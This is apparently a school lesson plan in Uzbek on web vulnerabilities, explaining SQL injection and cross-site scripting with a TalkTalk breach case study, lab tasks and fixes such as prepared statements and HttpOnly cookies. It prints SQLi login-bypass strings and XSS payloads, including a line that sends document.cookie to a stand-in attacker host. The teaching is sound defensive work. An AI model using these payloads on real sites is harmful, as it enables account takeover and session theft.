CyberSecurity · 23-dars · 9-sinf (Application Security Track)
Fan: Kiberxavfsizlik · Web Application Defense Kohorta: 9-sinf Kiber-Muhandis Hafta: 5 (3-soat)

Veb Zaifliklari va OWASP Top 10: SQLi & XSS

Dunyo bo'ylab har kuni minglab veb-saytlar murakkab qurollar bilan emas, balki qidiruv satriga yoki login formasiga kiritilgan bitta qo'shtirnoq belgisi (') yoki kichik JavaScript tegi bilan butunlay buziladi. Bu xatolar global OWASP Top 10 xalqaro reytingida yetakchilik qiladi. Bugungi darsda siz SQL Injection va Cross-Site Scripting (XSS) qanday ishlashini, xakerlar qanday qilib butun ma'lumotlar bazasini o'g'irlashini va professional dasturchilar buni parametrlangan so'rovlar (Prepared Statements) va sanitizatsiya orqali qanday to'xtatishini o'rganasiz.

Global xavfsizlik standarti

OWASP Top 10: Xalqaro Veb-Xavflar Reytingi

A01: Kirish Huquqlari Buzilishi (Broken Access)

Foydalanuvchi URL dagi /profile?id=5 ni id=6 ga o'zgartirib, begonaning shaxsiy ma'lumotlarini ko'ra olishi.

A03: Injection (SQL & Buyruq Hujumlari)

Foydalanuvchi kiritgan ma'lumot to'g'ridan-to'g'ri ma'lumotlar bazasi yoki tizim buyrug'i sifatida bajarilib ketishi.

A07: Identifikatsiya Xatolari (XSS & Auth)

Zaif parollar, sessiyalarni o'g'irlash (Session Hijacking) va brauzerda begonaning scriptlarini bajarish (XSS).

Qanday qilib 1 ta belgi buzadi?

SQL Injection Anatomiyasi: 1 Qo'shtirnoq Qudrati

Zaif Kod (String Concatenation)

  • Dasturchi foydalanuvchi kiritgan matnni to'g'ridan-to'g'ri SQL so'roviga ulaydi:
  • SELECT * FROM users WHERE user = '' + username + '' AND pass = '' + pass;
  • Agar xaker admin' -- kiritsa, parol qismi shundoq izohga (comment) aylanib o'chadi!

Xakerning Exploit Matni

# Login maydoniga kiritiladi:
admin' OR '1'='1' --

# Serverda hosil bo'ladigan yakuniy SQL:
SELECT * FROM users 
WHERE username = 'admin' OR '1'='1' --' AND pass = '***';

# Natija: '1'='1' har doim TRUE! 
# Parol so'ramasdan Admin bo'lib tizimga kirdi!
Yagona to'g'ri yechim

Parametrlangan So'rovlar (Prepared Statements): 100% Himoya

Nega Bu Ishlaydi?

  • Kodni ma'lumotdan ajratish: SQL so'rovi avval kompilyatsiya qilinadi. Uning mantiqiy strukturasi muzlaydi.
  • Hech qanday qo'shtirnoq buzolmaydi: Foydalanuvchi kiritgan har qanday belgi faqat oddiy matn (literal) deb o'qiladi.
  • Tezlik va xavfsizlik: Ma'lumotlar bazasi so'rov rejasini keshlash orqali tezroq ishlaydi.

To'g'ri va Xavfsiz Kod Namunasi (Node.js & PostgreSQL)

// ❌ XAVFLI: Hech qachon bunday qilmang!
const query = `SELECT * FROM users WHERE login = '${login}'`;

// ✅ XAVFSIZ: Parametrlangan so'rov ($1, $2)
const safeQuery = 'SELECT * FROM users WHERE login = $1 AND pass = $2';
const result = await db.query(safeQuery, [login, password]);

// Foydalanuvchi "admin' OR 1=1" kiritsa ham, 
// baza uni shunday ismli odam qidiradi va 0 ta topadi!
Brauzerni egallash

Cross-Site Scripting (XSS): Qanday Qilib Cookie O'g'irlanadi?

XSS Qanday Sodir Bo'ladi?

  • Saytda foydalanuvchilar fikr (izoh) qoldiradigan maydon bor.
  • Hujumchi oddiy matn o'rniga JavaScript kodi kiritadi:
  • <script>fetch('https://xaker.uz/log?c='+document.cookie)</script>
  • Boshqa foydalanuvchi sahifani ochganda, uning brauzerida bu script ishlab ketadi va uning sessiya tokeni (cookie) xakerga uchib ketadi!

XSS Turlari

1. Stored XSS (Doimiy):
Zararli script Ma'lumotlar bazasida saqlanadi. 
Sahifani ochgan har bir odam zararlanadi (Eng xavflisi!).

2. Reflected XSS (Aks etuvchi):
Script URL parametrida keladi:
https://sayt.uz/search?q=<script>alert(1)</script>
Faqat havola ustiga bosgan odamga ta'sir qiladi.

3. DOM XSS:
Mijoz tomonidagi JavaScript xatosi tufayli yuzaga keladi.
Qat'iy sanitizatsiya

XSS Mudofaasi: HTML Encoding, CSP va HttpOnly Cookie

1. HTML Entity Encoding

Maxsus belgilarni zararsiz kodlarga aylantirish: < -> &lt;, > -> &gt;. Brauzer uni kod emas, rasmdek ko'rsatadi.

2. HttpOnly Cookie Flagi

Eng muhim kiber-himoya! Agar Cookie HttpOnly bilan belgilansa, hech qanday JavaScript (hatto XSS ham) uni o'qiy olmaydi!

3. Content Security Policy (CSP)

Server brauzerga qat'iy qoida yuboradi: "Faqat mening domenimdagi scriptlarni ishlat, begona scriptlarni blokla!"

Kiber-laboratoriya

Jonli Tahlil: Buzilgan Qidiruv vs Himoyalangan API

Buzilgan Veb-Ilova (Vulnerable Endpoint)

  • Foydalanuvchi kiritgan so'z to'g'ridan-to'g'ri HTML ga yoziladi:
  • document.getElementById('result').innerHTML = 'Siz qidirdingiz: ' + input;
  • Hujumchi <img src=x onerror=alert(document.cookie)> kiritsa, darhol o'g'irlik yuz beradi!

Himoyalangan Zamonaviy Kod

// ✅ 1. DOMPurify yoki textContent ishlatish:
document.getElementById('result').textContent = 'Siz qidirdingiz: ' + input;

// ✅ 2. Xavfsiz Cookie yozish (Backend):
res.cookie('session_id', token, {
    httpOnly: true, // XSS o'g'irlay olmaydi!
    secure: true,   // Faqat HTTPS orqali
    sameSite: 'strict' // CSRF hujumlarini to'xtatadi
});
77 million dollarlik xato

TalkTalk Kiber-Halokati: Oddiy SQLi Qanday Qilib Kompaniyani Yiqitdi

Hujum Xronologiyasi

2015-yilda 15 yoshli o'smir Buyuk Britaniyaning eng yirik telekom operatorlaridan biri TalkTalk saytidagi eski meros sahifada oddiy SQL Injection zaifligini topdi. U avtomatlashgan sqlmap vositasi yordamida bir necha soat ichida butun ma'lumotlar bazasini ko'chirib oldi.

Falokat Oqibatlari

  • 156 959 ta mijoz: Ularning ism-shariflari, manzillari va bank hisob raqamlari o'g'irlandi.
  • 77 000 000 dollar: Kompaniyaga jarimalar va yo'qotilgan mijozlar tufayli 77 million dollar ziyon yetdi.
  • Sabab: Bitta eski PHP sahifadagi $id = $_GET['id'] so'rovi parametrlanmagan edi!
Mustaqil laboratoriya · 12 daqiqa

Amaliy Topshiriq: Zaif Ilovani Sinash va Himoyalash

Laboratoriya Bosqichlari

  • 1. SQL Injection sinovi: Qidiruv formasi orqali ' OR '1'='1 kiritib, barcha yashirin yozuvlarni chiqaring.
  • 2. XSS exploitini sinash: Izoh maydoniga <script>alert(1)</script> kiritib ko'ring.
  • 3. SQLi ni tuzatish: So'rovni db.query(sql, [params]) parametrlangan formatga o'tkazing.
  • 4. XSS ni tuzatish: innerHTML ni textContent ga almashtiring va HttpOnly yoqing.

O'lchanadigan Natija

Tuzatilgan kodda ' OR 1=1 kiritilganda baza buzilmasligi (0 ta natija) va <script> kiritilganda kod ishlamasdan, oddiy matn sifatida xavfsiz aks etishi shart!

Xavfsizlik tekshiruvi

Nazorat Cheklisti: Zaifliklar Yopildimi?

1. Parameterized Query

Kodda bitta ham qator qo'shish (string concatenation `+`) qolmadimi?

2. textContent Ishlatildimi?

DOM ga kiritishda xavfli `innerHTML` o'rniga `textContent` qo'yildimi?

3. HttpOnly Flag

Cookie sozlamasida `httpOnly: true` flagi mavjudmi?

10 ballik mezon

Darsni Baholash Mezonlari (10 Ball)

A'lo (9–10 Ball)

  • SQL Injection va XSS mexanikasi to'liq tushuntirilgan.
  • Prepared Statements kodi xatosiz yozilgan.
  • XSS sanitizatsiya va HttpOnly to'liq yoqilgan.
  • Varaqa 100% to'ldirilgan.

Yaxshi (7–8 Ball)

  • SQLi tuzatilgan, lekin XSS da qisman xato bor.
  • Prepared Statement ishlash prinsipi to'g'ri.
  • Varaqa 80% to'ldirilgan.

Qoniqarli (5–6 Ball)

  • Faqat zaiflik sinab ko'rilgan, tuzatilmagan.
  • Nazariy tushunchalarda chalkashlik bor.
  • Varaqa to'liq emas.
Uyga vazifa

Xulosa va Uy Vazifasi: Xavfsiz Veb-Kodlash

Dars Xulosasi

Foydalanuvchi kiritgan har qanday ma'lumot — dushman deb qaralishi shart (Never Trust User Input). Ma'lumotlar bazasi bilan faqat Prepared Statements orqali muloqot qiling, HTML ga chiqarishda esa har doim sanitizatsiyadan o'tkazing.

Uy Vazifasi (10 Ball)

  • Amaliy: O'zingiz yozgan avvalgi loyihalaringizdagi (masalan, valyuta konverteri yoki turnir sayti) inputlarni tekshiring: XSS ga zaif emasmi?
  • Kod: Node.js da 1 ta login funksiyasini Prepared Statement bilan yozib skrinshotini ilova qiling.
  • Varaqa: Ish varaqasidagi barcha savollarni to'ldirib topshiring.
Target International School Target International School Введение 1 / 1 0–3